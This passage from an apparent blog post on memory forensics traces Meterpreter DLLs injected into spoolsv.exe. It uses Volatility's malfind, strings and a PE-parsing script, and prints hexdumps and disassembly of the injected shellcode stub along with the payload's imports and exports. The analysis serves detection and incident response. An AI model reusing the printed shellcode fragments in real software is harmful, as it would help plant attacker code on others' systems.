0xdc0016 4150 PUSH R8
0xdc0018 52 PUSH RDX
0xdc0019 51 PUSH RCX
0xdc001a 56 PUSH RSI
0xdc001b 4831d2 XOR RDX, RDX
0xdc001e 65488b5260 MOV RDX, [GS:RDX+0x60]
0xdc0023 488b5218 MOV RDX, [RDX+0x18]
0xdc0027 488b5220 MOV RDX, [RDX+0x20]
0xdc002b 488b7250 MOV RSI, [RDX+0x50]
0xdc002f 480fb74a4a MOVZX RCX, WORD [RDX+0x4a]
0xdc0034 4d31c9 XOR R9, R9
0xdc0037 4831c0 XOR RAX, RAX
0xdc003a ac LODSB
0xdc003b 3c61 CMP AL, 0x61
0xdc003d 7c02 JL 0xdc0041
0xdc003f 2c DB 0x2c
Hexdump:
0x00dc0000 fc 48 89 ce 48 81 ec 00 20 00 00 48 83 e4 f0 e8 .H..H......H....
0x00dc0010 cc 00 00 00 41 51 41 50 52 51 56 48 31 d2 65 48 ....AQAPRQVH1.eH
0x00dc0020 8b 52 60 48 8b 52 18 48 8b 52 20 48 8b 72 50 48 .R`H.R.H.R.H.rPH
0x00dc0030 0f b7 4a 4a 4d 31 c9 48 31 c0 ac 3c 61 7c 02 2c ..JJM1.H1..<a|.,
Process: spoolsv.exe, Pid: 1120
VadTag: VadS, Protection: PAGE_EXECUTE_READWRITE, Flags: PrivateMemory: 1, Protection: 6
Raw data at address 0xf093650000: 4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e8000000
Disassembly:
0xf093650000 4d5a POP R10
0xf093650002 90 NOP
0xf093650003 0003 ADD [RBX], AL
0xf093650005 0000 ADD [RAX], AL
0xf093650007 000400 ADD [RAX+RAX], AL
0xf09365000a 0000 ADD [RAX], AL
0xf09365000c ff DB 0xff
...
Above we see the same data as before, plus a disassembly and hexdump of 64 bytes of the suspect memory regions, note the use of the --dumpdir argument, which will create dump files containing the suspect memory ranges that can be analyzed further.
Triaging malfind's dumps
A capable reverse engineer would likely load malfind's dumps in something like IDA Pro and reach sound conclusions about the capabilities represented by the contents of these suspect memory regions.
davehull@scrutiny:~/res/malfind_dump$ ls -la
total 2968
drwxrwxr-x 2 davehull davehull 4096 Jul 21 13:59 .
drwxrwxr-x 3 davehull davehull 4096 Jul 21 14:01 ..
-rw-rw-r-- 1 davehull davehull 1191935 Jul 19 21:39 process.0xfffffa8005138980.0xdc0000.dmp
-rw-rw-r-- 1 davehull davehull 155647 Jul 19 21:39 process.0xfffffa8005138980.0xf093650000.dmp
-rw-rw-r-- 1 davehull davehull 450559 Jul 19 21:39 process.0xfffffa8005138980.0xf093c70000.dmp
-rw-rw-r-- 1 davehull davehull 1232895 Jul 19 21:39 process.0xfffffa8005138980.0xf093d40000.dmp
davehull@scrutiny:~/res/malfind_dump$
I've never considered myself an expert at RE (or anything, really), but have dabbled on the edges. An easy place to start for quickly triaging is with the strings utility.
strings -a -t d process.0xfffffa8005138980.0xdc0000.dmp > process.0xfffffa8005138980.0xdc0000.dmp.strings
strings -a -t d -e l process.0xfffffa8005138980.0xdc0000.dmp >> process.0xfffffa8005138980.0xdc0000.dmp.strings
The above commands extract ASCII and Unicode strings from the first of malfind's dumps and include a first column indicating the number of bytes into the file where the given string begins, this can be useful if you want to examine the string in context.
cat process.0xfffffa8005138980.0xdc0000.dmp.strings | awk '{$1="";print}'| sort | uniq -c | sort -g > process.0xfffffa8005138980.0xdc0000.dmp.strings.lfo
And this command trims the first column, sorts the data, passes it to the uniq utility with the -c argument to get a count of the number of occurrences of the given string then passes this to the sort command again to sort the results by frequency of occurrence of the given string. This is done as a data reduction measure, cutting the number of strings by 1/3. We can further reduce this by grepping through the strings with a good wordlist.
cp /usr/share/dict/american-english .
strings american-english | grep -v "'" > american-english.1
strings -n4 american-english.1 > american-english
The steps above copy the system's American English dictionary to the current directory, then removes lines from it containing apostrophes and then trims out words of less than four characters. Now that we have a reasonably good list of words, we can grep through our strings output for matches:
grep -iFf american-english process.0xfffffa8005138980.0xdc0000.dmp.strings.lfo > process.0xfffffa8005138980.0xdc0000.dmp.strings.lfo.words
Again, this is purely about data reduction. After this step, we're down to less than 4K words from nearly 17K strings at the start:
davehull@scrutiny:~/res/malfind_dump$ wc -l *strings*
16942 process.0xfffffa8005138980.0xdc0000.dmp.strings
8540 process.0xfffffa8005138980.0xdc0000.dmp.strings.lfo
3797 process.0xfffffa8005138980.0xdc0000.dmp.strings.lfo.words
Here are a few interesting strings from the .words file:
davehull@scrutiny:~/res/malfind_dump$ grep Create *.words
1 CreateEventA
1 CreateEventExW
1 CreateFile2
1 CreateFileA
1 CreateFileW
1 CreateMutexA
1 CreateRemoteThread
1 CreateSemaphoreExW
1 CreateSymbolicLinkW
1 CreateThread
1 CreateThreadpoolTimer
1 CreateThreadpoolWait
1 NtCreateSection
1 RtlCreateUserThread
2 CreateToolhelp32Snapshot
davehull@scrutiny:~/res/malfind_dump$ grep Reflective *.words
2 ReflectiveLoader
davehull@scrutiny:~/res/malfind_dump$ grep -i "\.dll" *.words
1 CRYPT32.dll
1 kernel32.dll
1 KERNEL32.dll
1 USER32.dll
1 WININET.dll
Above are what appear to be function names and the names of some dlls, which may be imported. There are many strings related to SSL and TLS (not shown). Alas our use of strings is akin to groping around in the dark. We could proceed this way through the other files, but there are better tools for the job.
The prolific producer of prodigious probing programs, Willi Ballenthin, has written a wrapper around Vivisect that can extract certain features from memory dumped PE files. Here's what memdumppe.py produces against the first dump:
davehull@scrutiny:~/res/malfind_dump$ memdumppe.py process.0xfffffa8005138980.0xdc0000.dmp 0
Traceback (most recent call last):
File "/home/davehull/bin/memdumppe.py", line 280, in <module>
sys.exit(main())
File "/home/davehull/bin/memdumppe.py", line 265, in main
pe = PE.PE(fv, inmem=guess_is_memory_image(fv))
File "/home/davehull/.local/lib/python2.7/site-packages/PE/__init__.py", line 377, in __init__
"pe.IMAGE_NT_HEADERS")
File "/home/davehull/.local/lib/python2.7/site-packages/PE/__init__.py", line 481, in readStructAtOffset
sbytes = self.readAtOffset(offset, len(s))
File "/home/davehull/.local/lib/python2.7/site-packages/PE/__init__.py", line 659, in readAtOffset
self.fd.seek(offset)
File "/home/davehull/bin/memdumppe.py", line 117, in seek
raise IOError('cant read offset %d (overrun)' % (final_offset - self.start))
IOError: cant read offset 738360417 (overrun)
Not entirely useful. Let's take a look at the file using xxd:
davehull@scrutiny:~/res/malfind_dump$ xxd process.0xfffffa8005138980.0xdc0000.dmp
00000000: fc48 89ce 4881 ec00 2000 0048 83e4 f0e8 .H..H... ..H....
00000010: cc00 0000 4151 4150 5251 5648 31d2 6548 ....AQAPRQVH1.eH
00000020: 8b52 6048 8b52 1848 8b52 2048 8b72 5048 .R`H.R.H.R H.rPH
00000030: 0fb7 4a4a 4d31 c948 31c0 ac3c 617c 022c ..JJM1.H1..<a|.,
00000040: 2041 c1c9 0d41 01c1 e2ed 5241 5148 8b52 A...A....RAQH.R
00000050: 208b 423c 4801 d066 8178 180b 020f 8572 .B<H..f.x.....r
00000060: 0000 008b 8088 0000 0048 85c0 7467 4801 .........H..tgH.
00000070: d050 8b48 1844 8b40 2049 01d0 e356 48ff .P.H.D.@ I...VH.
00000080: c941 8b34 8848 01d6 4d31 c948 31c0 ac41 .A.4.H..M1.H1..A
00000090: c1c9 0d41 01c1 38e0 75f1 4c03 4c24 0845 ...A..8.u.L.L$.E
000000a0: 39d1 75d8 5844 8b40 2449 01d0 6641 8b0c 9.u.XD.@$I..fA..
000000b0: 4844 8b40 1c49 01d0 418b 0488 4801 d041 HD.@.I..A...H..A
000000c0: 5841 585e 595a 4158 4159 415a 4883 ec20 XAX^YZAXAYAZH..
000000d0: 4152 ffe0 5841 595a 488b 12e9 4bff ffff AR..XAYZH...K...
000000e0: 5d48 8b0e 41ba 1d9f 2635 ffd5 ff56 0870 ]H..A...&5...V.p
000000f0: 0500 0000 0000 00ff 00dc 0000 0000 004d ...............M
00000100: 5a41 5255 4889 e548 83ec 20e8 0000 0000 ZARUH..H.. .....
00000110: 5b48 81c3 af1e 0000 ffd3 4881 c340 0312 [H........H..@..
00000120: 0089 3b49 89d8 6a04 5aff d000 0000 0000 ..;I..j.Z.......
00000130: 0000 0000 0000 0000 0000 0000 0100 000e ................
00000140: 1fba 0e00 b409 cd21 b801 4ccd 2154 6869 .......!..L.!Thi
00000150: 7320 7072 6f67 7261 6d20 6361 6e6e 6f74 s program cannot
00000160: 2062 6520 7275 6e20 696e 2044 4f53 206d be run in DOS m
Note the presence of the MZ header at offset 0xFF. Ballenthin's memdumppe.py takes an offset to the MZ header as an argument. Above I passed 0 as that offset and memdumppe.py failed. Let's try again with the offset of 255:
davehull@scrutiny:~/res/malfind_dump$ memdumppe.py process.0xfffffa8005138980.0xdc0000.dmp 255 | more
timestamp: 2017-03-17T17:57:34+00:00
checksum: 0x12beb5
export name: metsrv.dll
exports:
0) Init
1) ReflectiveLoader
2) buffer_from_file
3) buffer_to_file
4) channel_close
5) channel_create
6) channel_create_datagram
7) channel_create_pool
8) channel_create_stream
9) channel_default_io_handler
10) channel_destroy
11) channel_exists
12) channel_find_by_id
13) channel_get_buffered_io_context
14) channel_get_class
15) channel_get_flags
16) channel_get_id
17) channel_get_native_io_context
18) channel_get_type
19) channel_interact
20) channel_is_flag
21) channel_is_interactive
22) channel_open
23) channel_read
24) channel_read_from_buffered
25) channel_set_buffered_io_handler
26) channel_set_flags
27) channel_set_interactive
28) channel_set_native_io_context
29) channel_set_type
30) channel_write
31) channel_write_to_buffered
32) channel_write_to_remote
33) command_deregister
34) command_deregister_all
35) command_handle
36) command_join_threads
37) command_register
38) command_register_all
39) core_update_desktop
40) core_update_thread_token
41) packet_add_completion_handler
42) packet_add_exception
43) packet_add_group
44) packet_add_tlv_bool
45) packet_add_tlv_group
46) packet_add_tlv_qword
47) packet_add_tlv_raw
48) packet_add_tlv_string
49) packet_add_tlv_uint
50) packet_add_tlv_wstring
51) packet_add_tlv_wstring_len
52) packet_add_tlvs
53) packet_call_completion_handlers
54) packet_create
55) packet_create_group
56) packet_create_response
57) packet_destroy
58) packet_enum_tlv
59) packet_get_tlv
60) packet_get_tlv_group_entry
61) packet_get_tlv_meta
62) packet_get_tlv_string
63) packet_get_tlv_value_bool
64) packet_get_tlv_value_qword
65) packet_get_tlv_value_raw
66) packet_get_tlv_value_string
67) packet_get_tlv_value_uint
68) packet_get_tlv_value_wstring
69) packet_get_type
70) packet_is_tlv_null_terminated
71) packet_remove_completion_handler
72) packet_transmit_empty_response
73) packet_transmit_response
74) scheduler_destroy
75) scheduler_initialize
76) scheduler_insert_waitable
77) scheduler_signal_waitable
78) scheduler_waitable_thread
imports:
- WS2_32.dll.ntohl
- WS2_32.dll.connect
- WS2_32.dll.htonl
- WS2_32.dll.htons
- WS2_32.dll.inet_addr
- WS2_32.dll.inet_ntoa
- WS2_32.dll.listen
- WS2_32.dll.send
- WS2_32.dll.WSADuplicateSocketA
- WS2_32.dll.WSAGetLastError
- WS2_32.dll.WSASetLastError
- WS2_32.dll.WSAStartup
- WS2_32.dll.getservbyname
- WS2_32.dll.getservbyport
- WS2_32.dll.gethostbyname
- WS2_32.dll.gethostbyaddr
- WS2_32.dll.socket
- WS2_32.dll.setsockopt
- WS2_32.dll.select
- WS2_32.dll.recv
- WS2_32.dll.ntohs
- WS2_32.dll.shutdown
- WS2_32.dll.closesocket
- WS2_32.dll.bind
- WS2_32.dll.accept
- CRYPT32.dll.CertGetCertificateContextProperty
- WININET.dll.HttpQueryInfoW
- WININET.dll.InternetOpenW
- WININET.dll.InternetCloseHandle
- WININET.dll.InternetConnectW
- WININET.dll.InternetReadFile
- WININET.dll.InternetSetOptionW
- WININET.dll.HttpOpenRequestW
- WININET.dll.HttpSendRequestW
- WININET.dll.InternetCrackUrlW
- WINHTTP.dll.WinHttpOpenRequest
- WINHTTP.dll.WinHttpReadData
- WINHTTP.dll.WinHttpConnect
- WINHTTP.dll.WinHttpCloseHandle
- WINHTTP.dll.WinHttpCrackUrl
- WINHTTP.dll.WinHttpSetOption
- WINHTTP.dll.WinHttpQueryOption
- WINHTTP.dll.WinHttpOpen
- WINHTTP.dll.WinHttpGetIEProxyConfigForCurrentUser
- WINHTTP.dll.WinHttpGetProxyForUrl
- WINHTTP.dll.WinHttpQueryHeaders
- WINHTTP.dll.WinHttpReceiveResponse
- WINHTTP.dll.WinHttpSendRequest
- KERNEL32.dll.CompareStringW
- KERNEL32.dll.GetStringTypeW
- KERNEL32.dll.CreateFileW
- KERNEL32.dll.LoadLibraryExW
- KERNEL32.dll.OutputDebugStringW
- KERNEL32.dll.FileTimeToSystemTime
- KERNEL32.dll.SystemTimeToTzSpecificLocalTime
- KERNEL32.dll.GetDriveTypeW
- KERNEL32.dll.FindFirstFileExW
- KERNEL32.dll.SetStdHandle
- KERNEL32.dll.SetFilePointerEx
- KERNEL32.dll.ReadConsoleW
- KERNEL32.dll.GetConsoleCP
- KERNEL32.dll.FlushFileBuffers
- KERNEL32.dll.TlsFree
- KERNEL32.dll.TlsSetValue
- KERNEL32.dll.TlsGetValue
- KERNEL32.dll.TlsAlloc
- KERNEL32.dll.TerminateProcess
- KERNEL32.dll.GetProcAddress
- KERNEL32.dll.FlushInstructionCache
- KERNEL32.dll.VirtualAlloc
- KERNEL32.dll.VirtualFree
- KERNEL32.dll.VirtualProtect
- KERNEL32.dll.VirtualQuery
- KERNEL32.dll.WriteProcessMemory
- KERNEL32.dll.LCMapStringW
- KERNEL32.dll.LoadLibraryW
- KERNEL32.dll.GetModuleHandleA
- KERNEL32.dll.ExitProcess
- KERNEL32.dll.SetUnhandledExceptionFilter
- KERNEL32.dll.ExitThread
- KERNEL32.dll.GetLastError
- KERNEL32.dll.GetSystemDirectoryW
- KERNEL32.dll.GetVolumeInformationW
- KERNEL32.dll.GetComputerNameW
- KERNEL32.dll.FreeLibrary
- KERNEL32.dll.GetCurrentProcess
- KERNEL32.dll.GetCurrentProcessId
- KERNEL32.dll.GetCurrentThreadId
- KERNEL32.dll.SetLastError
- KERNEL32.dll.GetModuleHandleW
- KERNEL32.dll.SetHandleInformation
- KERNEL32.dll.GetSystemDirectoryA
- KERNEL32.dll.GlobalFree
- KERNEL32.dll.Sleep
- KERNEL32.dll.GetStdHandle
- KERNEL32.dll.GetFileType
- KERNEL32.dll.MultiByteToWideChar
- KERNEL32.dll.FindClose
- KERNEL32.dll.WideCharToMultiByte
- KERNEL32.dll.CloseHandle
- KERNEL32.dll.QueryPerformanceCounter
- KERNEL32.dll.GetTickCount
- KERNEL32.dll.GlobalMemoryStatus
- KERNEL32.dll.FlushConsoleInputBuffer
- KERNEL32.dll.InitializeCriticalSectionAndSpinCount
- KERNEL32.dll.UnhandledExceptionFilter
- KERNEL32.dll.RtlVirtualUnwind
- KERNEL32.dll.RtlLookupFunctionEntry
- KERNEL32.dll.RtlCaptureContext
- KERNEL32.dll.FreeEnvironmentStringsW
- KERNEL32.dll.SetEnvironmentVariableA
- KERNEL32.dll.FileTimeToLocalFileTime
- KERNEL32.dll.GetFileInformationByHandle
- KERNEL32.dll.PeekNamedPipe
- KERNEL32.dll.GetFullPathNameW
- KERNEL32.dll.GetCurrentDirectoryW
- KERNEL32.dll.HeapSize
- KERNEL32.dll.SetEndOfFile
- KERNEL32.dll.LoadLibraryA
- KERNEL32.dll.GetFileSize
- KERNEL32.dll.GetEnvironmentStringsW
- KERNEL32.dll.GetModuleFileNameA
- KERNEL32.dll.GetStartupInfoW
- KERNEL32.dll.DeleteCriticalSection
- KERNEL32.dll.GetCPInfo
- KERNEL32.dll.GetOEMCP
- KERNEL32.dll.GetACP
- KERNEL32.dll.IsValidCodePage
- KERNEL32.dll.WriteFile
- KERNEL32.dll.ReadFile
- KERNEL32.dll.CreateFileA
- KERNEL32.dll.CreateThread
- KERNEL32.dll.TerminateThread
- KERNEL32.dll.ResumeThread
- KERNEL32.dll.SetEvent
- KERNEL32.dll.ReleaseMutex
- KERNEL32.dll.WaitForSingleObject
- KERNEL32.dll.CreateMutexA
- KERNEL32.dll.CreateEventA
- KERNEL32.dll.WaitForMultipleObjects
- KERNEL32.dll.GetSystemTime
- KERNEL32.dll.SystemTimeToFileTime
- KERNEL32.dll.VirtualAllocEx
- KERNEL32.dll.OpenProcess
- KERNEL32.dll.DuplicateHandle
- KERNEL32.dll.OpenThread
- KERNEL32.dll.SuspendThread
- KERNEL32.dll.GetVersionExA
- KERNEL32.dll.CreateToolhelp32Snapshot
- KERNEL32.dll.Thread32First
- KERNEL32.dll.Thread32Next
- KERNEL32.dll.CreateRemoteThread
- KERNEL32.dll.GetThreadId
- KERNEL32.dll.HeapFree
- KERNEL32.dll.HeapAlloc
- KERNEL32.dll.HeapReAlloc
- KERNEL32.dll.GetSystemTimeAsFileTime
- KERNEL32.dll.RtlUnwindEx
- KERNEL32.dll.GetCommandLineA
- KERNEL32.dll.EnterCriticalSection
- KERNEL32.dll.LeaveCriticalSection
- KERNEL32.dll.GetTimeZoneInformation
- KERNEL32.dll.IsProcessorFeaturePresent
- KERNEL32.dll.IsDebuggerPresent
- KERNEL32.dll.GetModuleFileNameW
- KERNEL32.dll.GetModuleHandleExW
- KERNEL32.dll.WriteConsoleW
- KERNEL32.dll.EncodePointer
- KERNEL32.dll.DecodePointer
- KERNEL32.dll.SetConsoleCtrlHandler
- KERNEL32.dll.GetConsoleMode
- KERNEL32.dll.ReadConsoleInputA
- KERNEL32.dll.SetConsoleMode
- KERNEL32.dll.GetProcessHeap
- KERNEL32.dll.AreFileApisANSI
- USER32.dll.GetThreadDesktop
- USER32.dll.GetUserObjectInformationW
- USER32.dll.MessageBoxW
- USER32.dll.GetDesktopWindow
- USER32.dll.GetProcessWindowStation
- ADVAPI32.dll.ReportEventW
- ADVAPI32.dll.AdjustTokenPrivileges
- ADVAPI32.dll.ImpersonateLoggedOnUser
- ADVAPI32.dll.LookupPrivilegeValueA
- ADVAPI32.dll.RegisterEventSourceW
- ADVAPI32.dll.DeregisterEventSource
- ADVAPI32.dll.OpenThreadToken
- ADVAPI32.dll.OpenProcessToken
sections:
- .text
virtual address: 0x1000 size: 0xb3ac4
raw address: 0x400 size: 0xb3c00
- .rdata
virtual address: 0xb5000 size: 0x4019e
raw address: 0xb4000 size: 0x40200
- .data
virtual address: 0xf6000 size: 0x25ad0
raw address: 0xf4200 size: 0x1e600
- .pdata
virtual address: 0x11c000 size: 0xa02c
raw address: 0x112800 size: 0xa200
- .reloc
virtual address: 0x127000 size: 0x571c
raw address: 0x11ca00 size: 0x5800
imphash: 5df789b340bdc9056bbdeb6485e684b1
Beautiful! We've got the name of the dll, metsrv.dll, its exports and imports. If we extract the dlls from the imports, we get:
ADVAPI32.dll
CRYPT32.dll
KERNEL32.dll
USER32.dll
WINHTTP.dll
WININET.dll
WS2_32.dll
Of these, WINHTTP.dll and WININET.dll are both in the list of late loaded dlls into spoolsv.exe.
What of the others? Let's check the other dumps.
davehull@scrutiny:~/res/malfind_dump$ memdumppe.py process.0xfffffa8005138980.0xf093d40000.dmp 0
imestamp: 2017-03-17T17:57:34+00:00
checksum: 0x12beb5
export name: metsrv.dll
exports:
0) Init
1) ReflectiveLoader
...
imphash: 5df789b340bdc9056bbdeb6485e684b1
This dump matches the other and gives us no new information. Next:
davehull@scrutiny:~/res/malfind_dump$ memdumppe.py process.0xfffffa8005138980.0xf093650000.dmp 0
timestamp: 2017-03-17T17:57:37+00:00
checksum: 0x21c86
export name: ext_server_priv.x64.dll
exports:
0) DeinitServerExtension
1) GetExtensionName
2) InitServerExtension
3) ReflectiveLoader
4) control
imports:
- PSAPI.DLL.GetModuleBaseNameA
- PSAPI.DLL.EnumProcesses
- KERNEL32.dll.WaitForSingleObject...
- ADVAPI32.dll.DuplicateToken...
imphash: ffef24858578d3574c5d32e8809de379
Above we have a few more bits of information and much redacted for the sake of space, the name of another injected dll -- ext_server_priv.x64.dll -- and a new imported dll that belongs to the list of late loaded dlls in spoolsv.exe, PSAPI.DLL.
Let's dump the last one:
davehull@scrutiny:~/res/malfind_dump$ memdumppe.py process.0xfffffa8005138980.0xf093c70000.dmp 0
timestamp: 2017-03-17T17:57:53+00:00
checksum: 0x6fb3b
export name: ext_server_stdapi.x64.dll
exports:
0) DeinitServerExtension
1) GetExtensionName
2) InitServerExtension
3) ReflectiveLoader
imports:
- PSAPI.DLL.GetDeviceDriverBaseNameW...
- WINMM.dll.waveInAddBuffer...
- IPHLPAPI.DLL.GetIpNetTable...
- SHLWAPI.dll.SHDeleteKeyW
- WS2_32.dll.accept...
- KERNEL32.dll.GetModuleFileNameA...
- USER32.dll.SwitchDesktop...
- ADVAPI32.dll.ImpersonateLoggedOnUser...
- ole32.dll.CoCreateInstance...
- OLEAUT32.dll.VariantClear...
- MPR.dll.WNetGetUniversalNameA
- NETAPI32.dll.NetWkstaGetInfo
sections:
- .text...
imphash: 204d5fb9d32a5334c03d70887f17e301
Another new dll, ext_server_stdapi.x64.dll along with its exports and a redacted list of imports. These imports nearly round out the list of late loaded dlls found in spoolsv.exe., I believe only wkscli.dll is missing.
What are the takeaways?
Attackers are crafty and have been for a long time. This post presents the visible part of the ice berg. There are other ways to inject malicious code into legitimate processes. Some of these may not lend themselves to easy discovery, some may. It's incumbent upon as as defenders, hunters, investigators and insatiably curious types to test and testify to our test results.
In future posts, I'd like to explore Truncer's framework and see if Volatility can pull back its veil. That was bad. I'm sorry. I'd also like to dive in deeper on the byte array and explain what's happening there.
I want to encourage you to take a look at memtriage. I don't hear much chatter about it, but I think it's a game changer enabling more rapid response.